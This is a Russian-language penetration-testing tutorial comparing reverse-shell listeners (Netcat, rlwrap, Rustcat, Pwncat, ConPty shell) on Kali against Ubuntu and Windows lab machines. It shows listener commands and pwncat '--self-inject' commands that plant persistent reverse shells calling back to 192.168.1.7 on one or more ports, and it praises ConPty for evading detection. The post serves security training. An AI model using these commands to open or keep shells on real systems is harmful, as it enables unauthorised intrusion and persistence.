Источник: Hacking Articles
raj (hackingarticles.in) · 3 апреля 2024 · рубрика Penetration Testing
Пентестеры полагаются на разнообразные инструменты, чтобы устанавливать соединения и сохранять доступ в ходе оценок безопасности. Один из критически важных компонентов их арсенала — листенер (listener): программа, которая ожидает входящие соединения и обеспечивает связь со скомпрометированными системами. В этом блоге мы рассмотрим лучшие альтернативы Netcat-листенеру, подчёркивая мощные инструменты с улучшенной функциональностью и производительностью.
Кроме того, мы углубимся в различные варианты листенеров, исследуя возможности и сценарии использования популярных инструментов, таких как Netcat, Rlwrap, Rustcat, Pwncat и Windows ConPty shell.
- Генератор reverse shell
- Netcat для начинающих
- Rlwrap для OSCP
- Rustcat для OSCP
- Pwncat для Red Team
- Windows ConPty для OSCP и Red Team
Чтобы сгенерировать reverse shell, можно использовать RevShells — он предоставляет множество команд для reverse shell и листенеров в зависимости от ОС, что идеально подходит для сценариев удалённого выполнения команд.
Тем не менее, существуют и другие онлайн- и офлайн-техники, помогающие генерировать reverse shell. Больше вариантов — в нашем предыдущем блоге «Easy way to Generate Reverse Shell».
Netcat, часто называемый «швейцарским ножом сетей», — универсальный инструмент для создания простых TCP- и UDP-соединений. Его минималистичный дизайн и широкая функциональность делают его любимцем пентестеров. Ключевые возможности:
- Базовая связь
- Скан портов
- Передача файлов
- Удалённый shell-доступ
Вы можете запустить Netcat-листенер на порту 4444 на машине Kali. Используйте следующую команду для Netcat-листенера:
nc -lnvp 4444После генерации команды reverse shell из генератора reverse shell выполните команду reverse shell на Ubuntu OS.
В результате, когда вы выполните указанную команду на Ubuntu OS, вы получите reverse shell на машине Kali.
Ограничение: однако пользователи замечают, что после нажатия стрелки вверх для повтора предыдущей команды терминал не дополняет команду.
rlwrap, сокращение от «readline wrapper», повышает удобство работы с интерфейсами командной строки. Хотя это не специализированный инструмент-листенер, он улучшает опыт взаимодействия с shell-утилитами вроде Netcat за счёт:
- Истории командной строки
- Автодополнения
Преимущества Rlwrap перед Netcat
rlwrap добавляет историю команд и возможности редактирования в сессии Netcat, упрощая повтор и изменение команд. Пентестеры извлекают выгоду из функции tab-дополнения rlwrap, ускоряющей ввод команд за счёт подсказок возможных продолжений на основе текущего ввода.
Установка rlwrap проста, используйте следующую команду:
apt install rlwrapПосле установки повторите весь процесс из раздела про netcat, но для reverse shell используйте следующую команду листенера, чтобы задействовать rlwrap:
rlwrap nc -lvnp 4444Преимущество: заметьте, что после получения reverse shell команды можно автодополнять и повторять.
Rustcat — современная реализация Netcat на языке программирования Rust, стремящаяся обеспечить улучшенную производительность и безопасность, сохраняя функциональность Netcat. Основные причины его принятия:
- Полностью выполняет свою задачу по прослушиванию портов
- Хранит историю
- Дружелюбен к пользователю
- Поддерживает udp
- Использует цвета
Rustcat задействует функции безопасности памяти Rust, снижая вероятность распространённых уязвимостей вроде переполнения буфера. Его дизайн допускает параллельные соединения, позволяя пентестерам эффективно управлять несколькими сессиями. Как и Netcat, Rustcat доступен на множестве платформ, что обеспечивает совместимость с разными операционными системами.
Установить Rustcat можно с помощью cargo, используя следующую команду:
apt install cargocargo install rustcatОбязательно добавьте /root/.cargo/bin в path.
echo $SHELL
nano .zshrcДобавьте /root/.cargo/bin как Export Path.
После установки повторите весь процесс из раздела про netcat, но для reverse shell используйте следующую команду листенера, чтобы задействовать rustcat:
rcat listen -ib 1234Преимущество: заметьте, что в rcat включено tab-дополнение, и его можно использовать для автодополнения команд.
Обратите внимание, что tab-дополнение в rcat работает и может использоваться для автодополнения команд.
Кроме того, у него есть более динамичные возможности, такие как UDP-соединение (-lpu) и функция истории (-lpH).
Pwncat — насыщенный функциями инструмент в духе netcat, разработанный для пентестеров и участников red team, предлагающий ряд улучшений по сравнению с классическим Netcat:
- Интерактивный shell
- Скриптуемый интерфейс
- Шифрованная связь
- Закрепление (persistence)
Он предоставляет интерактивный shell с подсветкой синтаксиса и дополнением команд, улучшая пользовательский опыт. Пентестеры могут автоматизировать задачи с помощью интерфейса Python-скриптинга Pwncat, что даёт большую гибкость и возможности кастомизации. Он также поддерживает шифрованные каналы связи, гарантируя конфиденциальность при взаимодействии со скомпрометированными системами.
Установить pwncat можно с помощью pip, используя следующую команду:
pip install pwncatПосле установки повторите весь процесс из раздела про netcat, но для reverse shell используйте следующую команду листенера, чтобы задействовать pwncat:
pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234Преимущество: заметьте, что pwncat обеспечивает закрепление, создавая файл в каталоге /tmp/. Поэтому при потере соединения reverse shell всё ещё можно получить на том же ранее использованном порту — как persistence.
Закрепление можно проверить, запустив rlwrap-листенер на том же порту после завершения указанного соединения.
Pwncat предоставляет возможность создавать закрепление на нескольких портах, что можно сделать с помощью следующих команд:
pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234+2Можно заметить, что вместе с портом 1234 reverse shell можно получить также на портах 1235 и 1236.
Windows ConPty shell — более свежее пополнение арсенала пентестера, использующее функциональность ConPty, появившуюся в Windows 10. Он предлагает ряд преимуществ перед классическими shell:
- Улучшенный TTY
- Стабильность и совместимость
- Техники обхода обнаружения
ConPty shell обеспечивает улучшенную функциональность TTY, позволяя получить более интерактивный опыт, включая корректную работу с утилитами командной строки вроде Vim и Python.
Преимущество: он более стабилен и совместим с современными системами Windows, представляя надёжный вариант для пост-эксплуатационных действий. Пентестеры могут использовать ConPty shell для обхода механизмов безопасности, избегая традиционных методов обнаружения.
Для команды листенера и payload reverse shell можно воспользоваться генератором reverse shell.
Вы можете использовать команду с сайта генератора reverse shell, чтобы запустить листенер на порту 443 на машине Kali.
Теперь используем payload reverse shell на windows-машине и запустим команду, скопированную из генератора reverse shell.
Заметьте, что reverse shell получен на порту 443 и это полностью интерактивная сессия.
В заключение отметим: пентестеры располагают широким выбором листенеров, каждый из которых предлагает уникальные возможности и преимущества. Будь то простота Netcat, улучшенная удобность Rlwrap, производительность и безопасность Rustcat, продвинутые возможности Pwncat или современная функциональность Windows ConPty shell — выбор правильного инструмента зависит от конкретных требований оценки.
Понимая сильные и слабые стороны этих инструментов, пентестеры могут эффективно устанавливать и поддерживать доступ в ходе работ по безопасности.
Автор: Винaяк Чаухан (Vinayak Chauhan) — исследователь InfoSec и консультант по безопасности. Контакт — здесь.




















